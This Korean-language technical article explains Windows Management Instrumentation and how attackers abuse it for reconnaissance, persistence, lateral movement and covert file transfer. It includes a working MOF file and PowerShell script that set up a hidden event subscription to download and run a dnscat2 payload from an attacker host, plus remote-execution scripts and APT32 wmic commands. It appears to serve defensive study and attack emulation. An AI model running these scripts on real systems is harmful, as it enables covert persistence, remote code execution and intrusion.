WMI(Windows Management Instrumentation)는 Windows NT 4.0 / Windows 95부터 모든 윈도우즈 운영체제에 존재하는 기능으로, 시스템 내의 자원들을 로컬/원격 환경에서 관리할 수 있는 도구의 집합으로 구성되어 있습니다. 윈도우즈 운영체제를 구성하는 여러 기술들이 생기고 사라지면서 현재까지 남아있는 기술 중 가장 강력한 것 중 하나가 바로 WMI일 것입니다. WMI는 네트워크 상에 존재하는 윈도우즈 시스템 자원 접근 및 제어를 일관된 인터페이스로 제공합니다. 이 글에서는 아래와 같은 내용을 설명합니다.
-
WMI의 개념 및 기본 구조
-
WMI 활용 방법
-
WMI을 이용한 공격 사례
내용을 설명하기 앞서, ARES에 적용된 공격 모듈은 아래와 같습니다.
ARES에 적용된 WMI 모듈
- T1007 - System Service Discovery
- T1012 - Query Registry
- T1033 - System Owner/User Discovery
- T1047 - Windows Management Instrumnetation
- T1082 - System Information Discovery
- T1083 - File and Directory Discovery
- T1084 - Windows Management Instrumentation Event Subscription
- T1105 - Remote File Copy
- T1135 - Network Share Discovery
WMI의 개념 및 기본 구조
WMI는 WBEM(Web-Based Enterprise Management)와 CIM(Common Information Model)을 윈도우즈에서 구현한 것입니다.
WBEM은 엔터프라이즈 환경에서 네트워크 상에 분산되어 있는 시스템/자원에 대한 관리를 위해 정해진 표준이고, CIM은 각 자원들이 어떠한 형식으로 구성되고 정의되는지에 대한 표준입니다. WBEM과 CIM 두 표준은 Distributed Management Task Force(DMTF)에 의해 정해졌으며, 엔터프라이즈 환경에서의 관리 대상이 되는 어떤 구성요소에 대한 정보를 수집하고 전송하는 수단을 정의하기 위해 존재합니다.
즉 WMI는 윈도우즈 운영체제가 사용되는 환경에서 각 자원에 대한 접근 및 관리를 하기 위한 인프라 구조라고 할 수 있습니다. WMI에서의 관리 대상이 되는 구성요소(Managed Component)는 다음과 같습니다.
- 실행 중인 프로세스
- 레지스트리 행위
- 설치된 서비스
- 파일의 정보 등
이런 구성 요소에서 아래와 같은 행위를 할 수 있습니다.
- 구성요소의 정보 조회
- 구성요소를 대상으로 특정 행동
- 구성요소로부터 확보한 정보의 전송 등
WMI 구성 요소
WMI의 구성 요소를 표로 정리한 것입니다.
종류 | WMI에서 구현 방법 | 예 |
---|---|---|
1. Managed Object | WMI Object | Win32_Process, Win32_Service, etc. |
2. Consuming Data | WMI Clients | powershell, wmic, C/C++, etc. |
3. Querying Data | WQL(WMI Query Language) | SELECT * FROM Win32_Process WHERE Name LIKE “%chrome%” |
4. Populating Data | WMI Service & WMI Provider | |
5. Structuring Data | MOF(Managed Object Format) | *.mof 파일 혹은 .NET Code |
6. Transmitting Data | DCOM & WinRM | |
7. Performing Actions | WMI Object Method & Eventing System |
각 구성요소를 좀 더 살펴보겠습니다.
- Managed Component
- WMI는 내부적으로 WMI Objects(이하 WMI 객체)로 표현합니다. WMI 객체는 운영체제에서 사용되는 데이터를 구조화시켜 표현하는 클래스 인스턴스이며, 아래는 몇 가지 Managed Component와 그에 대응하는 Class의 예입니다.
Category | WMI Class |
---|---|
프로세스 | Win32_Process |
레지스트리 행위 | StdRegProv |
서비스 | Win32_Service |
파일 | CIM_DataFile |
… | … |
- Consuming Data
- Microsoft는 WMI 데이터를 사용하고 WMI Method를 실행하기 위한 여러 가지 수단을 제공합니다. 대표적인 것이 Powershell로, Powershell에서는 WMI와 통신하기 위한 cmdlets을 제공합니다. 아래는 그 cmdlet 내 몇 가지 명령어들의 예입니다.
Get-WmiObject Invoke-WmiMethod Remove-WmiObject ...
- Microsoft는 WMI 데이터를 사용하고 WMI Method를 실행하기 위한 여러 가지 수단을 제공합니다. 대표적인 것이 Powershell로, Powershell에서는 WMI와 통신하기 위한 cmdlets을 제공합니다. 아래는 그 cmdlet 내 몇 가지 명령어들의 예입니다.
- Querying Data
- 모든 WMI 객체는 WMI Query Language라는 언어를 이용해 관련 정보를 조회할 수 있습니다.
- 일반적으로 알려진 SQL과 유사하며, 아래는 WQL의 몇 가지 예와 그에 대한 설명입니다.
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
- Win32_Process 클래스에 속하는 WMI 객체 중(현재 시스템 내의 프로세스 중), Name(프로세스 이름) 정보에 ‘chrome’ 문자열이 포함된 모든 객체의 정보를 반환합니다.
SELECT * FROM Win32_NetworkAdapter WHERE manufacturer LIKE "%VMware%"
- Win32_NetworkAdapter 클래스에 속하는 WMI 객체 중(현재 시스템의 네트워크 어댑터 중), manufacturer(제조사) 정보에 ‘%VMware%’ 문자열이 포함된 모든 객체의 정보를 반환합니다.
- Populating Data
- 사용자가 특정 WMI 객체 정보를 요청 시, WMI 서비스(Winmgmt)는 해당 객체에 대한 정보를 제공할 수단을 알아야 합니다. 이 역할은 WMI Provider가 맡게 되는데, WMI Provider는 COM 기반의 DLL로서 전달된 WQL에 따라 모든 프로세스나 레지스트리를 조회하는 등의 역할을 수행합니다.
- WMI 객체의 내용이 WMI Provider에 의해 채워지게 될 때, 두 가지의 유형을 갖습니다.
- Dynamic 객체
- 특정 WQL 쿼리가 실행될 때에만 객체는 생성되어 존재합니다. (e.g. Win32_Process)
- Persistent 객체
- 객체 생성 시 CIM Repositry(일반적으로 위치는 %SystemRoot%\System32\wbem\repository\OBJECTS.DATA)에 저장되어 유지됩니다.
- Dynamic 객체
- Structuring Data
- WMI 객체의 대부분에 대한 구조/스키마는 Managed Object Format(MOF) 파일에 명시됩니다. MOF 파일은 C++과 유사한 형태의 문법을 가지며, WMI 객체에 대한 스키마를 제공합니다. 이 스키마는 WMI Provider가 특정 WMI 객체를 구성하는 데에 데이터의 형식을 파악하기 위해서 활용됩니다.
- MOF 파일이 없어도, .NET Code를 이용해 WMI 객체를 생성하여 CIM Repository 안에 삽입할 수 있습니다.
- Transmitting Data
- Microsoft는 WMI 데이터를 원격으로 전송하기 위해 DCOM, WinRM 두 가지의 프로토콜을 사용하는 방법을 제공하고 있습니다.
- Performing Actions
- 일부 WMI 객체의 경우 실행할 수 있는 Method를 가지고 있습니다.
- 예를 들어 공격자가 자주 사용할 수 있는 것으로는 Win32_Process WMI 객체의 static Create Method가 있습니다. 이 메소드는 말 그대로 특정 프로세스를 생성할 수 있는 기능을 제공합니다.
- WMI 객체의 Method 이외에도, WMI는 이벤트 기반으로 핸들러를 붙여 특정 로직을 실행할 수 있게 하는 Eventing System을 제공합니다.
WMI 클래스와 네임스페이스
위에서, 윈도우즈 운영체제 내의 정보는 클래스 인스턴스인 WMI 객체로서 표현된다고 했습니다. WMI 내에서 객체 생성에 사용되는 이러한 클래스들에 대한 정보는 CIM Repository라는 곳에 Hierarchy를 갖고 관리되고 있으며 네임스페이스(Namespace)에 의해 해당 클래스 정보의 참조 위치가 정해집니다.
모든 네임스페이스의 상위 네임스페이스는 ROOT Namespace라고 부르며, Microsoft는 ROOT\CIMV2라는 네임스페이스를 WMI 객체 쿼리 시의 기본적인 네임스페이스로 사용합니다.
WMI Querying
WQL에서 사용할 수 있는 쿼리의 종류는 여러 가지가 있고 그 용도도 각각 다르지만, 공격 기법에서 더 자세히 설명될 것이므로 각각의 쿼리 종류가 무엇이 있는지에 대해서만 설명합니다.
- 인스턴스 쿼리: WMI 객체 인스턴스 그 자체의 정보를 조회하기 위한 쿼리입니다.
- 이벤트 쿼리: 일반적인 WMI 객체 이외에, 이벤트 클래스의 객체를 조회하기 위한 쿼리이며, 이 이벤트 클래스는 WMI 객체 인스턴스의 생성/수정/삭제 등의 이벤트 정보를 관리하고, 이벤트 쿼리를 이용하면 WMI 객체에 대한 모니터링이 가능해집니다.
- 메타 쿼리: WMI 객체가 아닌, 위의 네임스페이스 혹은 클래스 스키마와 같은 메타 정보를 조회하기 위한 쿼리입니다.
각각 쿼리의 내용을 정리해서 살펴보면, WMI Query를 이용해 가능한 객체 관련 작업들을 파악할 수 있습니다.
- 시스템 내의 자원에 대한 정보를 조회할 수 있습니다.
- 시스템 내의 자원 생성/삭제/수정 등에 대한 모니터링이 가능합니다.
- 시스템 내의 자원 자체가 아닌 메타 정보에 대한 조회가 가능합니다.
다만, WQL을 이용하는 것만이 WMI의 모든 기능을 사용하는 유일한 방법은 아닙니다. “WMI 활용 방법”과 “WMI을 이용한 공격 사례”에서 공격자는 새로운 WMI 클래스의 생성, 로컬뿐만 아닌 원격 환경에서의 WMI 객체 Method 호출 등의 기능을 활용할 수 있습니다.
WMI 활용 방법
각각의 도구에 대한 자세한 설명은 생략하고, 어떠한 것들이 있는지 정리하는 정도로만 설명합니다. 상용 툴은 제외하고, 써드파티 오픈소스 혹은 윈도우즈 시스템 내에서 기본적으로 제공하는 것들만 정리한 것입니다.
Powershell
Powershell은 윈도우즈 시스템에 기본적으로 설치되어있는 강력한 스크립팅 언어로, 버전 3을 기준으로 WMI 인터페이스로서 사용되는 cmdlet은 아래와 같은 것들이 존재합니다.
Get-WmiObject
Get-CimAssociatedInstance
Get-CimClass
Get-CimInstance
Get-CimSession
Set-WmiInstance
Set-CimInstance
Invoke-WmiMethod
Invoke-CimMethod
Invoke-CimMethod
New-CimInstance
New-CimSession
New-CimSessionOption
Register-CimIndicationEvent
Register-WmiEvent
Remove-CimInstance
Remove-WmiObject
Remove-CimSession
- Cim-cmdlet의 경우 Powershell 버전 3부터 추가되었으며, WinRM과 DCOM 프로토콜 두 가지 모두를 원격제어에 사용할 수 있습니다.
- 기존 Wmi-cmdlet의 경우 DCOM 프로토콜만을 사용할 수 있습니다.
- Powershell의 WMI 관련 cmdlets에서는 WMI Class를 생성할 수 없지만, Powershell의 다른 모듈을 활용하여 새로운 WMI Class를 생성할 수 있습니다.
wmic.exe
wmic.exe는 WMI와 상호작용할 수 있게 하는 명령줄 기반의 유틸리티로, WMI Objects에 대한 별칭을 사용하거나 및 복잡한 쿼리 또한 실행할 수 있습니다. Win32_Process의 Create 메소드와 같은 함수 호출도 가능하지만, embedded WMI Objects를 받는 메소드의 경우는 호출할 수 없다는 단점이 있습니다.
winrm.exe
winrm도 마찬가지로 WMI 객체의 생성 / 삭제 / 메소드 실행 / 정보 조회 등을 로컬과 원격 환경에서 모두 할 수 있습니다. 하지만 주로 winrm.exe을 직접 사용하기 보다는 Powershell의 CIM cmdlets을 사용하여 원격통신을 할 시 WinRM 위에서 동작하게 됩니다.
Windows Script Host Language(WSH)
Microsoft에서 지원하는 WSH의 종류로는 VBScript와 JScript가 있습니다. 자주 사용하지는 않는 스크립트 언어일 수 있지만, WMI를 타겟으로 하는 공격자 입장에서는 아래와 같은 점에서 유용하게 쓰일 수 있습니다.
- 이벤트 핸들러의 종류 중 하나인 ActiveScriptEventConsumer의 경우 스크립트를 지정하여 특정 이벤트 발생 시 자동적으로 실행되도록 할 수 있는데, 이 핸들러에서 지원하는 스크립트의 종류가 VBScript과 JScript 뿐입니다.
- Powershell이 존재하지 않거나 구버전의 윈도우즈의 경우 공격을 위해 필요한 최소이자 필수인 언어가 될 수 있습니다.
IWbem* COM API를 사용하는 C/C++, System.Management 클래스를 사용하는 .NET
각 언어의 해당 라이브러리를 이용해 WMI와 상호작용하는 코드를 작성하는 것이 가능합니다.
wmic & wmis-pth for Linux
리눅스에서 동작할 수 있는 WMI 관련 유틸리티로, wmis의 경우 NTLM 해시 값만 가지고 원격지에 Win32_Process WMI 클래스의 Create 함수를 실행할 수 있습니다.
기타 GUI 도구
- wbemtest.exe - WMI 인프라 내에 존재하는 WMI 객체 정보 조회, 쿼리 실행, 이벤트 등록, WMI 객체 수정 등의 다양한 기능을 지원하는 GUI 도구입니다.
- CIM Studio - Microsoft에서 제공하는 무료이자 Legacy 도구로, wbemtest과 같이 트리 구조로 wmi 내 데이터들의 구조를 파악할 수 있습니다.
WMI을 이용한 공격 사례
WMI에 대해 기본적인 내용을 이해했다면, 이제 여러 리서치된 자료들을 예로 들어 공격자들이 WMI를 어떤 목적으로, 어떤 방식을 이용해 활용하는지 설명하고자 합니다.
Case 1. 정보 수집
-
정보 수집에 사용되는 공격 도구는 주로 윈도우즈 시스템 내에 내장된 것이 많지만, WMI 또한 시스템 내의 많은 정보를 수집할 수 있도록 도와줍니다.
-
단순 WQL 혹은 Powershell 등을 활용하여 WMI에 접근하는 경우 정보수집에는 특별한 권한이 필요하지 않습니다.
- 아래와 같은 WMI 객체 클래스가 정보 수집에 이용될 수 있습니다
- 호스트/운영체제: Win32_OperatingSystem, Win32_ComputerSystem
- 파일/디렉터리: CIM_DataFile
- 디스크 정보: Win32_Volume
- 레지스트리 동작: StdRegProv
- 실행 중인 프로세스: Win32_Process
- 서비스 리스트: Win32_Service
- 이벤트 로그: Win32_NTLogEvent
- 로그인 중인 계정: Win32_LoggedOnUser
- 공유 정보: Win32_Share
- 패치 정보: Win32_QuickFixEngineering
- 현재 시스템에 Anti-Virus 제품이 존재하는지 확인하기 위해서도 WMI를 활용할 수 있습니다.
- 백신 제품의 경우 WMI의 root\SecurityCenter 혹은 root\SecurityCenter2 네임스페이스(운영체제 버전 별로 상이)에 객체가 등록되어 있어, 아래와 같이 확인이 가능합니다.
- 아래의 명령어는 파워쉘의 WMI cmdlet을 활용하여 현재 시스템 상에 안티바이러스 제품이 존재하는지를 확인하기 위한 예입니다.
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
- 아래의 예는 VMware 키워드를 이용하여 시스템 내 가상머신 여부를 확인하기 위한 WQL 쿼리입니다.
SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%" SELECT * FROM Win32_BIOS WHERE SerialNumber LIKE "%VMware%" SELECT * FROM Win32_Process WHERE Name="vmtoolsd.exe" SELECT * FROM Win32_NetworkAdapter WHERE Name LIKE "%VMware%"
실제 공격자들이 사용한 정보 수집의 예
-
APT32: APT32는 Microsoft Outlook의 취약점을 파악한 뒤, 악성 DLL을 로드하기 위하여 침해된 시스템에 DLL을 삽입했습니다. 그 후, DLL을 로드시키기 위해 Outlook 프로세스를 재시작할 필요가 있었고, 재시작하기 위한 Process ID 정보를 획득하기 위해 wmic.exe를 이용했습니다.
-
Black Energy: Black Energy는 공격 초기 침투한 시스템의 정보를 수집하기 위해 아래와 같은 WQL쿼리를 활용했습니다.
SELECT Description, Manufacturer, Name, ProcessorId FROM Win32_Processor SELECT Product, Manufacturer, Version FROM Win32_BaseBoard SELECT Name, OSArchitecture, Version, BuildNumber FROM Win32_OperatingSystem SELECT SerialNumber, Description, Manufacturer, SMBIOSBIOSVersion FROM Win32_BIOS
Case 2. Permenant Event Subscription을 이용한 자동 실행
Permenant Event Subscription이란?
- 위에서 설명한 WMI Query의 종류 중 Event Query가 존재하였고, 그에 대해서 아래와 같이 설명했습니다.
일반적인 WMI 객체 이외에, 이벤트 클래스의 객체를 조회하기 위한 쿼리. 이 이벤트 클래스는 WMI 객체 인스턴스의 생성/수정/삭제 등의 이벤트 발생 정보를 관리하고, 이벤트 쿼리를 이용하면 WMI 객체에 대한 모니터링이 가능해집니다.
-
WMI의 기능 중 하나인 Permanent Event Subscription는 이 Event Query를 활용하게 되며, 이 기능을 활용할 시 시스템 내에서 발생하는 이벤트 중 특정 조건을 가진 이벤트가 발생할 때마다 특정 로직을 실행할 수 있게 됩니다. Subscription의 뜻이 구독인 것을 생각해보면 특정 이벤트를 내가 시스템 상에서 구독하겠다는 뜻으로 이해할 수 있습니다.
- Permanent Event Subscription을 시스템 상에 등록하기 위해서는 기본적으로 관리자 권한이 필요하며, 구성해주어야 할 데이터에는 3가지 종류가 있습니다.
- Event Filter
- WMI의 EventFilter 클래스를 사용하여 이벤트 필터 객체를 생성합니다.
- 이벤트 필터 객체 정보에는 필터 이름 등의 정보가 들어갈 수 있지만, 가장 중요한 정보는 Query입니다.
- 이 쿼리에는 위에서 언급한 Event Query가 들어가게 되는데, 로직을 실행하게 될 트리거가 되는 이벤트에 대한 WQL Event Query가 들어가게 됩니다.
- 아래의 예는 notepad.exe 이름을 가지는 프로세스가 생성되는 이벤트를 모니터링하기 위한 WQL 이벤트 쿼리입니다.
SELECT * FROM __InstanceCreationEvent Within 5 WHERE TargetInstance Isa \"Win32_Process\" AND Targetinstance.Name = \"notepad.exe\";
- cf. Within 키워드는 모니터링의 Polling Interval을 지정하는 것으로, 만일 Polling Interval 사이에 프로세스가 생성 및 종료가 모두 일어났다면 이벤트 구독에 실패할 수 있습니다.
- Within 키워드를 지정해주어야 하는 이벤트들은 주로 Intrinsic Event라고 불리며, Extrinsic Event의 경우 해당 이벤트 발생 시 바로 모니터링이 가능한 이벤트들입니다.
- Intrinsic Events의 종류
- __NamespaceOperationEvent
- __NamespaceModificationEvent
- __NamespaceDeletionEvent
- __NamespaceCreationEvent
- __ClassOperationEvent
- __ClassDeletionEvent
- __ClassModificationEvent
- __ClassCreationEvent
- __InstanceOperationEvent
- __InstanceCreationEvent
- __MethodInvocationEvent
- __InstanceModificationEvent
- __InstanceDeletionEvent
- __TimerEvent
- Extrinsic Events의 종류
- ROOT\CIMV2:Win32_ComputerShutdownEvent
- ROOT\CIMV2:Win32_IP4RouteTableEvent
- ROOT\CIMV2:Win32_ProcessStartTrace
- ROOT\CIMV2:Win32_ModuleLoadTrace
- ROOT\CIMV2:Win32_ThreadStartTrace
- ROOT\CIMV2:Win32_VolumeChangeEvent
- ROOT\CIMV2:Msft_WmiProvider*
- ROOT\DEFAULT:RegistryKeyChangeEvent
- ROOT\DEFAULT:RegistryValueChangeEvent
- Event Consumer
- WMI의 EventConsumer 종류 중 하나를 사용하여 이벤트 컨슈머 객체를 생성합니다.
- Event Consumer의 종류에는 아래와 같은 것들이 존재합니다
- LogFileEventConsumer: 발생한 이벤트 데이터를 특정 파일에 로깅합니다.
- ActiveScriptEventConsumer: 특정 Embedded VBScript 혹은 JScript payload를 실행합니다.
- NTEventLogEventConsumer: 이벤트 데이터를 담는 Windows Event log 엔트리를 생성합니다.
- SMTPEventConsumer: 이벤트 데이터를 메일로 전송합니다.
- CommandLineEventConsumer: 특정 명령어를 실행합니다.
- 공격자들이 자주 사용하는 Consumer는 ActiveScriptEventConsumer와 CommandLineEventConsumer입니다.
- Permanent Event Subscription의 Consumer를 통해 실행된 프로세스는 NT AUTHORITY\SYSTEM 권한을 가진 채로 실행됩니다.
- Consumer로 ActiveScriptEventConsumer를 사용하는 방식의 장점은 Embedded된 VBScript, JScript 스크립트를 실행하기 때문에, 페이로드가 커맨드라인에 남는 것을 피할 수 있습니다. Consumer에 의해 실행된 프로세스의 Command Line은 아래와 같이 나타납니다.
%SystemRoot%\system32\wbem\scrcons.exe -Embedding
- Bindings
- WMI의 FilterToConsumerBinding 클래스를 사용하여 바인딩 객체를 생성합니다.
- 위에서 생성한 Event Filter와 Event Consumer를 바인딩 후 WMI에 등록함으로써, Permanent Event Subscription이 활성화됩니다.
- Event Filter
- 위의 데이터를 구성하는 방법은 위에서 언급된 WMI 관련 프로그램들을 사용하거나, MOF 파일을 직접 구성하여 컴파일하는 방법 크게 두 가지로 나눌 수 있습니다.
mofcomp.exe로 .mof 파일을 직접 컴파일하여 Permanent Event Subscription 등록
Windows 운영체제에는 Managed Object Format에 따라 정의된 .mof파일을 컴파일 및 WMI 내에 등록할 수 있는 mofcomp.exe가 존재합니다.
- 경로: C:\Windows\System32\wbem\mofcomp.exe
- 위에 언급한 3가지 요소를 하나의 .mof파일의 구성하여 mofcomp.exe로 컴파일하게되면, 해당 시스템에는 그 즉시 Permanent Event Subscription이 등록됩니다.
아래는 Permanent Event Subscription을 사용하기 위해 단순하게 구성한 .mof 파일입니다.
- wmi.mof
#PRAGMA AUTORECOVER #PRAGMA NAMESPACE ("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { Name = "WMI Event MOF"; EventNamespace = "Root\\Cimv2"; Query = "SELECT * FROM __InstanceCreationEvent Within 5 WHERE TargetInstance Isa \"Win32_Process\" AND Targetinstance.Name = \"notepad.exe\""; QueryLanguage = "WQL"; }; // WMI Event MOF라는 이름을 갖는 이벤트 필터 객체를 생성하며, 해당 이벤트의 조건은 타겟 인스턴스(프로세스)의 이름이 notepad.exe인 Win32_Process 클래스의 객체 생성 이벤트입니다. 네임스페이스 Root\Cimv2는 Win32_Process WMI 클래스 객체를 조회하기 위한 네임스페이스를 명시한 것입니다. instance of CommandLineEventConsumer as $Consumer { Name = "WMI Permanent Subscription TEST Consumer MOF"; CommandLineTemplate = "cmd.exe"; }; // WMI Permanent Subscription TEST Consumer MOF라는 이름을 갖는 CommandLineEventConsumer 컨슈머 객체를 생성하며, 실행할 명령어는 cmd.exe입니다. instance of __FilterToConsumerBinding { Filter = $EventFilter; Consumer = $Consumer; }; // 두 이벤트 필터와 이벤트 컨슈머 객체를 바인딩합니다.
위 파일을 mofcomp.exe를 이용해 컴파일합니다. (관리자 권한 필요)
C:\Windows\system32> C:\Windows\System32\wbem\mofcomp.exe C:\wmi.mof
Microsoft (R) MOF Compiler Version 10.0.17134.1
Copyright (c) Microsoft Corp. 1997-2006. All rights reserved.
Parsing MOF file: c:\wmi.mof
MOF file has been successfully parsed
Storing data in the repository...
Done!
등록 후 notepad.exe 실행 시, WmiPrvSE.exe의 자식 프로세스로 cmd.exe가 실행되는 것을 확인할 수 있습니다.
아래의 예는 공격자가 사용할 법한 MOF 파일의 예입니다. 공격자는 아래의 MOF파일을 이용해
- 이벤트로그를 모니터링하여 이벤트 ID 257이 발생하고, 그 내용에 공격자의 IP가 존재하면
- 해당 주소로부터 dns netcat 파워쉘 스크립트를 다운로드 후 In-Memory 실행 -> Out of Band DNS Channel을 생성합니다.
#PRAGMA NAMESPACE ("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
Name = "Windows Update Event MOF";
EventNamespace = "root\\cimv2";
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5"
"WHERE TargetInstance ISA \"Win32_NTLogEvent\" "
"AND TargetInstance.EventCode = \"257\" "
"AND TargetInstance.Message LIKE \"%10.133.251.104%\" ";
QueryLanguage = "WQL";
};
instance of CommandLineEventConsumer as $Consumer
{
Name = "Windows Update Consumer MOF";
RunInteractively = false;
CommandLineTemplate = "cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://10.133.251.104/dnscat2.ps1');Start-Dnscat2 -Domain attacker.pwned.network";
};
instance of __FilterToConsumerBinding
{
Filter = $EventFilter;
Consumer = $Consumer;
};
해당 공격시나리오에서는 동일 망 내의 다른 PC의 SMB를 활용하여 아래와 같은 형태로 .mof 파일을 컴파일합니다.
mofcomp.exe \\10.133.251.104\content\wmi.mof
아래의 스크립트는 동일한 Permanent Event Subscription을 MOF 파일 생성 및 컴파일이 아닌, 파워쉘을 이용하여 수행하는 코드입니다.
$EventFilterName = "Windows Update Event PS"
$EventConsumerName = "Windows Update Consumer PS"
$Payload = "cmd /C powershell.exe -nop iex(New-Object Net.WebClient).DownloadString('http://10.133.251.104/dnscat2.ps1'); Start-Dnscat2 -Domain attacker.pwned.network"
#Event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND TargetInstance.EventCode = '257' AND TargetInstance.Message LIKE '%10.133.251.104%'"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
#CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $Payload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
#FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
실제 공격자들이 사용한 추가 Permanent Event Subscription의 예
-
APT29: APT29는 특정 백도어를 지정된 시간에 실행하기 위해서 Permanent Event Subscription 기능을 활용했습니다.
Case 3. WMI의 원격 동작 특성을 이용, C2 채널로 사용
공격자들은 때때로 데이터 저장을 목적으로 임의의 WMI Class를 시스템 내에 생성하여 문자열 데이터 등을 해당 클래스의 속성으로 저장하기도 합니다.
$StaticClass = New-Object
Management.ManagementClass('root\cimv2', $null, $null)
$StaticClass.Name = 'Win32_EvilClass'
$StaticClass.Put()
$StaticClass.Properties.Add('EvilProperty' , "This is
not the malware you're looking for")
$StaticClass.Put()
WMI가 데이터를 저장하는 데에 사용될 수 있으므로, 원격 기능을 사용하면 원격지에 파일을 업로드하기 위한 C2 채널로서 WMI를 사용하는 예제를 살펴보겠습니다.
Push Attack
공격자는 WMI의 원격 통신 기능을 이용하여 파일 복사를 수행할 수 있습니다. 스크립트는 다음과 같이 동작합니다.
- 로컬에 존재하는 파일을 읽습니다.
- 원격 호스트에 연결 및 WMI Class를 생성하여 해당 Class의 속성값으로 읽은 파일의 내용을 지정합니다.
- 원격지에 존재하는 Win32_Process 클래스의 Create Method를 실행하여 특정 파워쉘 스크립트를 실행합니다.
- 해당 파워쉘 스크립트는 생성된 WMI Class의 속성값을 다시 읽어 로컬 파일 시스템에 파일의 내용을 저장합니다.
# Prep file to drop on remote system
$LocalFilePath = 'C:\Users\ht\Documents\evidence_to_plant.png'
$FileBytes = [IO.File]::ReadAllBytes($LocalFilePath)
$EncodedFileContentsToDrop = [Convert]::ToBase64String($FileBytes)
# Establish remote WMI connection
$Options = New-Object Management.ConnectionOptions
$Options.Username = 'Administrator'
$Options.Password = 'user'
$Options.EnablePrivileges = $True
$Connection = New-Object Management.ManagementScope
$Connection.Path = '\\192.168.72.134\root\default'
$Connection.Options = $Options
$Connection.Connect()
# "Push" file contents
$EvilClass = New-Object Management.ManagementClass($Connection, [String]::Empty,
$null)
$EvilClass['__CLASS'] = 'Win32_EvilClass'
$EvilClass.Properties.Add('EvilProperty', [Management.CimType]::String, $False)
$EvilClass.Properties['EvilProperty'].Value = $EncodedFileContentsToDrop
$EvilClass.Put()
$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.134'
}
# The PowerShell payload that will drop the stored file contents
$PayloadText = @'
$EncodedFile = ([WmiClass]
'root\default:Win32_EvilClass').Properties['EvilProperty'].Value
[IO.File]::WriteAllBytes('C:\fighter_jet_specs.png',
[Convert]::FromBase64String($EncodedFile))
'@
$EncodedPayload =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
# Drop the file to the target filesystem
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
# Confirm successful file drop
Get-WmiObject @CommonArgs -Class CIM_DataFile -Filter 'Name =
"C:\\fighter_jet_specs.png"'
Pull Attack
공격자는 WMI의 원격 제어 기능을 이용하여 원격 호스트에 특정 레지스트리 키를 생성한 뒤, 파워쉘 스크립트의 실행 내용을 저장할 수도 있습니다. 스크립트는 다음과 같이 동작합니다.
- 원격 호스트의 StdRegProv Class의 CreateKey, DeleteValue Method를 실행하여 특정 레지스트리 키를 생성합니다.
- 원격 호스트의 Win32_Class의 Create 메소드를 이용하여 특정 파워쉘 스크립트를 실행합니다.
- 해당 파워쉘 스크립트는 lsass.exe 프로세스의 정보를 획득하여 생성되어있는 레지스트리 키에 그 결과를 저장합니다.
$Credential = Get-Credential 'WIN-B85AAA7ST4U\Administrator'
$CommonArgs = @{
Credential = $Credential
ComputerName = '192.168.72.131'
}
# Create a remote registry key and value
$HKLM = 2147483650
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name CreateKey -ArgumentList
$HKLM, 'SOFTWARE\EvilKey'
Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name DeleteValue -ArgumentList
$HKLM, 'SOFTWARE\EvilKey', 'Result'
# PowerShell payload that saves the serialized output of `Get-Process lsass` to
the registry
$PayloadText = @'
$Payload = {Get-Process lsass}
$Result = & $Payload
$Output = [Management.Automation.PSSerializer]::Serialize($Result, 5)
$Encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Output))
Set-ItemProperty -Path HKLM:\SOFTWARE\EvilKey -Name Result -Value $Encoded
'@
$EncodedPayload =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($PayloadText))
$PowerShellPayload = "powershell -NoProfile -EncodedCommand $EncodedPayload"
# Invoke PowerShell payload
Invoke-WmiMethod @CommonArgs -Class Win32_Process -Name Create -ArgumentList
$PowerShellPayload
# Pull the serialized results back
$RemoteOutput = Invoke-WmiMethod @CommonArgs -Class StdRegProv -Name
GetStringValue -ArgumentList $HKLM, 'SOFTWARE\EvilKey', 'Result'
$EncodedOutput = $RemoteOutput.sValue
# Deserialize and display the result of the command executed on the remote system
$DeserializedOutput =
[Management.Automation.PSSerializer]::Deserialize([Text.Encoding]::Ascii.GetStrin
g([Convert]::FromBase64String($EncodedOutput)))
Case 4. 악성 WMI Provider 활용
WMI에 포함되는 대부분의 객체의 기능은 WMI Provider에 의해 제공됩니다. 공격자들은 WMI Class 생성뿐만 아닌 Custom WMI Provider 자체를 시스템 내에 등록시켜 공격에 이용할 수도 있습니다. (참고: https://github.com/jaredcatkinson/EvilNetConnectionWMIProvider)
Case 5. 그 외 공격자가 WMI를 사용한 방식들과 사례
APT32: APT32의 경우 Backdoor DLL을 원격지에 복사 및 DLL을 로드하는 프로세스의 재시작을 하기 위해 wmic.exe를 활용했습니다.
wmic /node:[redacted] process call create "cmd.exe /C net use \\10.100.*.*\logon$ /user:[redacted] \\10.100.*.*\logon$msfte.dll c:\windows\system32\msfte.dll"
wmic /node:[redacted] process call create "cmd.exe /C sc stop wsearch"
wmic /node:[redacted] process call create "cmd.exe /C sc start wsearch"
